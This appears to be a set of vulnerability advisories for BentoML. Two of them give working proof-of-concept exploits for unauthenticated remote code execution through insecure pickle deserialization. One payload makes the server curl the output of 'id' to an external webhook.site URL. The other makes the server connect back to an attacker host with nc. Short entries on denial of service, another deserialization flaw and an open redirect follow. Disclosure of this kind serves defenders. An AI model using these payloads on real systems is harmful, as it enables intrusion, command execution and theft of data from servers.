Summary There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.

PoC - First, create a file named model.py to create a simple model and save it import bentoml import numpy as np

class mymodel: def predict(self, info): return np.abs(info) def call(self, info): return self.predict(info)

model = mymodel() bentoml.picklablemodel.savemodel("mymodel", model) - Then run the following command to save this model python3 model.py - Next, create bentofile.yaml to build this model service: "service.py" description: "A model serving service with BentoML" python: packages: - bentoml - numpy models: - tag: MyModel:latest include: - ".py" - Then, create service.py to host this model import bentoml from bentoml.io import NumpyNdarray import numpy as np

modelrunner = bentoml.picklablemodel.get("mymodel:latest").torunner()

svc = bentoml.Service("myservice", runners=[modelrunner])

async def predict(inputdata: np.ndarray):

inputcolumns = np.split(inputdata, inputdata.shape[1], axis=1) resultgenerator = modelrunner.asyncrun(inputcolumns, isstream=True) async for result in resultgenerator: yield result - Then, run the following commands to build and host this model bentoml build bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888 - Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server. import requests import pickle

url = "http://0.0.0.0:8888/"

headers = { "args-number": "1", "Content-Type": "application/vnd.bentoml.pickled", "Payload-Container": "NdarrayContainer", "Payload-Meta": '{"format": "default"}', "Batch-Size": "-1", }

class P: def reduce(self): return (import('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))

response = requests.post(url, headers=headers, data=pickle.dumps(P()))

print(response) And I can replace the NdarrayContainer with PandasDataFrameContainer in Payload-Container header and the exploit still working. After running exploit.py then the output of the command id will be send out to the WebHook server.

Root Cause Analysis:

- When handling a request in BentoML runner server in src/bentoml/internal/server/runnerapp.py, when the request header args-number is equal to 1, it will call the function deserializesingleparam like the code below: https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/server/runnerapp.py#L291-L298 async def requesthandler(request: Request) -> Response: assert self.isready

argnum = int(request.headers["args-number"]) r: bytes = await request.body()

if argnum == 1: params: Params[t.Any] = deserializesingleparam(request, r) - Then this is the function of deserializesingleparam, which will take the value of all request headers of Payload-Container, Payload-Meta and Batch-Size and the crafted into Payload class which will contain the data from request.body https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/server/runnerapp.py#L376-L393 def deserializesingleparam(request: Request, bs: bytes) -> Params[t.Any]: container = request.headers["Payload-Container"] meta = json.loads(request.headers["Payload-Meta"]) batchsize = int(request.headers["Batch-Size"]) kwargname = request.headers.get("Kwarg-Name") payload = Payload( data=bs, meta=meta, batchsize=batchsize, container=container, ) if kwargname: d = {kwargname: payload} params: Params[t.Any] = Params(d) else: params: Params[t.Any] = Params(payload)

return params - After crafting Params containing payload, it will call to function infer with params variable as input https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/server/runnerapp.py#L303-L304 try: payload = await infer(params) - Inside function infer, the params variable with is belong to class Params will call the function map of that class with AutoContainer.frompayload as a parameter. https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/server/runnerapp.py#L278-L289 async def infer(params: Params[t.Any]) -> Payload: params = params.map(AutoContainer.frompayload)

try: ret = await runnermethod.asyncrun( params.args, params.kwargs ) except Exception: traceback.printexc() raise

return AutoContainer.topayload(ret, 0) - Inside class Params define the function map which will call the AutoContainer.frompayload function with arguments, which are data, meta, batchsize and container https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/runner/utils.py#L59-L66 def map(self, function: t.Callable[[T], To]) -> Params[To]: """ Apply a function to all the values in the Params and return a Params of the return values. """ args = tuple(function(a) for a in self.args) kwargs = {k: function(v) for k, v in self.kwargs.items()} return ParamsTo - Inside class AutoContainer class have defined the function frompayload which will find the class by the payload.container , which is the value of header Payload-Container, and it will call the function frompayload from the chosen class as return value https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/runner/container.py#L710-L712 def frompayload(cls, payload: Payload) -> t.Any: containercls = DataContainerRegistry.findbyname(payload.container) return containercls.frompayload(payload) And if the attacker set value of header Payload-Container to NdarrayContainer or PandasDataFrameContainer, it will call frompayload and when it then check if the payload.meta["format"] == "default" it will call pickle.loads(payload.data) and payload.meta["format"] is the value of header Payload-Meta and the attacker can set it to {"format": "default"} and payload.data is the value of request.body which is the payload from malicious class P in my request, which will trigger reduce method and then execute arbitrary commands (for my example is the curl command) https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/runner/container.py#L411-L416 def frompayload( cls, payload: Payload, ) -> ext.PdDataFrame: if payload.meta["format"] == "default": return pickle.loads(payload.data) https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/runner/container.py#L306-L312 def frompayload( cls, payload: Payload, ) -> ext.NpNDArray: format = payload.meta.get("format", "default") if format == "default": return pickle.loads(payload.data) Impact In the above Proof of Concept, I have shown how the attacker can execute command id and send the output of the command to the outside. By replacing id command with any OS commands, this insecure deserialization in BentoML's runner server will grant the attacker the permission to gain the remote shell on the server and injecting backdoors to persist access.

Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

Details It exists an unsafe code segment in serde.py: Python def deserializevalue(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

PoC Environment:

- Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu

1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml

1.2 Define APIs in a service.py file (Server host: 10.98.36.123) : Python from future import annotations

import bentoml

@bentoml.service( resources={"cpu": "4"} ) class Summarization: def init(self) -> None: import torch from transformers import pipeline

device = "cuda" if torch.cuda.isavailable() else "cpu" self.pipeline = pipeline('summarization', device=device)

@bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summarytext'] for item in results]

1.3 Run the service code (Server host: 10.98.36.123) : Bash pip install torch transformers # additional dependencies for local run

bentoml serve

2. Start nc listening on the attacking host (Attack host: 10.98.36.121) : nc -lvvp 1234

3. Send maliciously crafted request (Attack host: 10.98.36.121) : Python import pickle import os import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil: def reduce(self): return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)

4. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. !nc

Impact Remote Code Execution (RCE).

In bentoml/bentoml version 1.3.9, the /login endpoint of the newly integrated Gradio app is vulnerable to a Denial of Service (DoS) attack. This vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. The server continuously processes each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction.

A deserialization vulnerability exists in BentoML's runner server in bentoml/bentoml versions <=1.3.4.post1. By setting specific parameters, an attacker can execute unauthorized arbitrary code on the server, causing severe harm. The vulnerability is triggered when the args-number parameter is greater than 1, leading to automatic deserialization and arbitrary code execution.

BentoML version v1.3.4post1 is vulnerable to a Denial of Service (DoS) attack. The vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. This causes the server to continuously process each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction, impacting all users of the service.

An open redirect vulnerability in bentoml/bentoml v1.3.9 allows a remote unauthenticated attacker to redirect users to arbitrary websites via a specially crafted URL. This can be exploited for phishing attacks, malware distribution, and credential theft.